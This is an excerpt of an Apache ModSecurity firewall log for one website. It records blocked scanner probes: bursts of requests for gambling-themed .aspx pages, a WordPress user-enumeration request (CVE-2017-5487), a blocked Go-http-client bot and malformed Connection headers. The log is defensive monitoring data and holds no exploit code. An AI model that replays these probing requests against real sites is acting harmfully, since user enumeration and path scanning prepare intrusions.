[Thu Apr 02 00:53:21.813911 2026] [:error] [pid 8035:tid 8051] [client 147.135.252.179:50388] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "ac1NgQY2zflwGmvw_QbXLwAAAIs"]
[Thu Apr 02 00:53:23.757675 2026] [:error] [pid 8035:tid 8046] [client 147.135.252.179:50390] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "ac1NgwY2zflwGmvw_QbXOAAAAIY"]
[Thu Apr 02 00:53:25.710878 2026] [:error] [pid 8036:tid 8087] [client 147.135.252.179:50400] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "ac1NhUMvKg9PFa_VV4zUGwAAAMs"]
[Thu Apr 02 00:53:27.706065 2026] [:error] [pid 8036:tid 8080] [client 147.135.252.179:50416] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ac1Nh0MvKg9PFa_VV4zUHwAAAMQ"]
[Thu Apr 02 00:53:29.824675 2026] [:error] [pid 8387:tid 8441] [client 147.135.252.179:33334] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "ac1NiRdQYJ2y8LDYkv_2nwAAAAE"]
[Thu Apr 02 00:53:31.605254 2026] [:error] [pid 8035:tid 8049] [client 147.135.252.179:33344] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ac1NiwY2zflwGmvw_QbXSQAAAIk"]
[Thu Apr 02 00:53:33.543957 2026] [:error] [pid 8036:tid 8077] [client 147.135.252.179:33348] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "ac1NjUMvKg9PFa_VV4zUOAAAAME"]
[Thu Apr 02 00:53:35.486763 2026] [:error] [pid 8387:tid 8460] [client 147.135.252.179:33354] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "ac1NjxdQYJ2y8LDYkv_2pwAAABM"]
[Thu Apr 02 00:53:37.340512 2026] [:error] [pid 8036:tid 8080] [client 147.135.252.179:33370] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "ac1NkUMvKg9PFa_VV4zUTgAAAMQ"]
[Thu Apr 02 00:53:39.251619 2026] [:error] [pid 8035:tid 8053] [client 147.135.252.179:38088] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "ac1NkwY2zflwGmvw_QbXWAAAAI0"]
[Thu Apr 02 00:53:41.178360 2026] [:error] [pid 8036:tid 8090] [client 147.135.252.179:38096] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "ac1NlUMvKg9PFa_VV4zUZwAAAM4"]
[Thu Apr 02 00:53:43.074986 2026] [:error] [pid 8036:tid 8092] [client 147.135.252.179:38100] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "ac1Nl0MvKg9PFa_VV4zUcgAAANA"]
[Thu Apr 02 00:53:45.123807 2026] [:error] [pid 8036:tid 8084] [client 147.135.252.179:38112] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "ac1NmUMvKg9PFa_VV4zUfAAAAMg"]
[Thu Apr 02 00:53:47.011798 2026] [:error] [pid 16761:tid 16778] [client 147.135.252.179:38114] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ac1Nm94bJXDGRqKZnzwPeAAAAE4"]
[Thu Apr 02 00:53:48.940954 2026] [:error] [pid 8387:tid 8441] [client 147.135.252.179:46878] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "ac1NnBdQYJ2y8LDYkv_2xAAAAAE"]
[Thu Apr 02 00:53:50.823561 2026] [:error] [pid 16761:tid 16767] [client 147.135.252.179:46884] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "ac1Nnt4bJXDGRqKZnzwPigAAAEM"]
[Thu Apr 02 00:53:52.860547 2026] [:error] [pid 8035:tid 8049] [client 147.135.252.179:46890] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "ac1NoAY2zflwGmvw_QbXZgAAAIk"]
[Thu Apr 02 00:53:54.901561 2026] [:error] [pid 16761:tid 16782] [client 147.135.252.179:46892] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "ac1Not4bJXDGRqKZnzwPkgAAAFI"]
[Thu Apr 02 00:53:56.816975 2026] [:error] [pid 8387:tid 8451] [client 147.135.252.179:46904] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ac1NpBdQYJ2y8LDYkv_28gAAAAs"]
[Thu Apr 02 00:53:58.698754 2026] [:error] [pid 16761:tid 16784] [client 147.135.252.179:37348] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "ac1Npt4bJXDGRqKZnzwPoQAAAFQ"]
[Thu Apr 02 00:54:00.742620 2026] [:error] [pid 16761:tid 16786] [client 147.135.252.179:37356] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "ac1NqN4bJXDGRqKZnzwPrgAAAFY"]
[Thu Apr 02 00:54:02.609541 2026] [:error] [pid 8035:tid 8052] [client 147.135.252.179:37358] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ac1NqgY2zflwGmvw_QbXfwAAAIw"]
[Thu Apr 02 00:54:04.655341 2026] [:error] [pid 8387:tid 8448] [client 147.135.252.179:37362] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "ac1NrBdQYJ2y8LDYkv_3AQAAAAg"]
[Thu Apr 02 00:54:06.441492 2026] [:error] [pid 8387:tid 8461] [client 147.135.252.179:37366] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "ac1NrhdQYJ2y8LDYkv_3CQAAABQ"]
[Thu Apr 02 00:54:08.352183 2026] [:error] [pid 16761:tid 16778] [client 147.135.252.179:37000] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "ac1NsN4bJXDGRqKZnzwPyAAAAE4"]
[Thu Apr 02 00:54:10.388461 2026] [:error] [pid 16761:tid 16775] [client 147.135.252.179:37004] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "ac1Nst4bJXDGRqKZnzwP0wAAAEs"]
[Thu Apr 02 00:54:12.279864 2026] [:error] [pid 16761:tid 16773] [client 147.135.252.179:37010] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ac1NtN4bJXDGRqKZnzwP3gAAAEk"]
[Thu Apr 02 00:57:15.382650 2026] [:error] [pid 8036:tid 8099] [client 216.24.210.224:48707] [client 216.24.210.224] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/buttons.css"] [unique_id "ac1Oa0MvKg9PFa_VV4zVegAAANY"]
[Thu Apr 02 01:07:34.367896 2026] [:error] [pid 8037:tid 8121] [client 15.161.25.29:33036] [client 15.161.25.29] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "ac1Q1oGD8ox-W9jHVfC7TgAAAQ0"]
[Thu Apr 02 03:20:39.214933 2026] [:error] [pid 42254:tid 42311] [client 49.234.192.248:42268] [client 49.234.192.248] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ac1wB3xRzjI3jczeWQMIHAAAAYs"]
[Thu Apr 02 05:33:12.527945 2026] [:error] [pid 29467:tid 29489] [client 170.106.72.178:53758] [client 170.106.72.178] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ac2PGL4VUBFCJAq-WOkN5gAAARM"]
[Thu Apr 02 11:05:27.974842 2026] [:error] [pid 37543:tid 37550] [client 43.158.91.71:35894] [client 43.158.91.71] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ac3c93hdk2bEYJCvILZm-gAAAUU"]
[Thu Apr 02 12:09:29.819950 2026] [:error] [pid 23927:tid 23948] [client 43.153.123.4:41880] [client 43.153.123.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ac3r-UsZwqCndhl9uKDtLQAAAZM"]
[Thu Apr 02 12:19:10.875766 2026] [:error] [pid 23927:tid 23931] [client 51.75.119.168:34714] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "ac3uPksZwqCndhl9uKDx2AAAAYI"]
[Thu Apr 02 12:19:15.561151 2026] [:error] [pid 23927:tid 23946] [client 51.75.119.168:48098] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "ac3uQ0sZwqCndhl9uKDx6gAAAZE"]
[Thu Apr 02 12:19:19.312408 2026] [:error] [pid 37543:tid 37568] [client 51.75.119.168:37814] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "ac3uR3hdk2bEYJCvILZzPQAAAVc"]
[Thu Apr 02 12:19:23.563092 2026] [:error] [pid 59305:tid 59324] [client 51.75.119.168:37826] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "ac3uS6r2tV4rDwKFxKeTcQAAAM8"]
[Thu Apr 02 12:19:30.329197 2026] [:error] [pid 23927:tid 23937] [client 51.75.119.168:51408] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "ac3uUksZwqCndhl9uKDyFAAAAYg"]
[Thu Apr 02 12:19:36.796178 2026] [:error] [pid 59305:tid 59312] [client 51.75.119.168:51424] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "ac3uWKr2tV4rDwKFxKeThAAAAMM"]
[Thu Apr 02 12:19:40.973549 2026] [:error] [pid 59194:tid 59227] [client 51.75.119.168:33702] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "ac3uXBMpAeV11hcQehwGPAAAAA4"]
[Thu Apr 02 12:19:43.968402 2026] [:error] [pid 29467:tid 29481] [client 51.75.119.168:33710] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "ac3uX74VUBFCJAq-WOmQSQAAAQs"]
[Thu Apr 02 12:19:48.529042 2026] [:error] [pid 23927:tid 23950] [client 51.75.119.168:43934] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "ac3uZEsZwqCndhl9uKDyPgAAAZU"]
[Thu Apr 02 12:19:52.968260 2026] [:error] [pid 59200:tid 59240] [client 51.75.119.168:43946] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "ac3uaLfP26txrdLs3EorVgAAAEA"]
[Thu Apr 02 12:19:57.029756 2026] [:error] [pid 37543:tid 37553] [client 51.75.119.168:43954] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "ac3ubXhdk2bEYJCvILZzYQAAAUg"]
[Thu Apr 02 12:20:00.964335 2026] [:error] [pid 59200:tid 59250] [client 51.75.119.168:52870] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "ac3ucLfP26txrdLs3EorWQAAAEo"]
[Thu Apr 02 12:20:05.611142 2026] [:error] [pid 54384:tid 54405] [client 51.75.119.168:52876] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "ac3uddWWpaby3TVN7MeABgAAAdM"]
[Thu Apr 02 12:21:04.610620 2026] [:error] [pid 59200:tid 59246] [client 51.75.119.168:52504] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "ac3usLfP26txrdLs3EorhgAAAEY"]
[Thu Apr 02 12:21:07.114483 2026] [:error] [pid 23927:tid 23950] [client 51.75.119.168:57414] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "ac3us0sZwqCndhl9uKDylAAAAZU"]
[Thu Apr 02 12:21:10.281392 2026] [:error] [pid 23927:tid 23944] [client 51.75.119.168:44508] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "ac3utksZwqCndhl9uKDylQAAAY8"]
[Thu Apr 02 12:21:12.917658 2026] [:error] [pid 23927:tid 23952] [client 51.75.119.168:44510] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "ac3uuEsZwqCndhl9uKDymgAAAZc"]
[Thu Apr 02 12:21:15.818649 2026] [:error] [pid 59305:tid 59313] [client 51.75.119.168:44520] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "ac3uu6r2tV4rDwKFxKeULgAAAMQ"]
[Thu Apr 02 12:21:18.886684 2026] [:error] [pid 29467:tid 29486] [client 51.75.119.168:58618] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "ac3uvr4VUBFCJAq-WOmQhwAAARA"]
[Thu Apr 02 12:21:21.589738 2026] [:error] [pid 23927:tid 23938] [client 51.75.119.168:58634] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "ac3uwUsZwqCndhl9uKDypwAAAYk"]
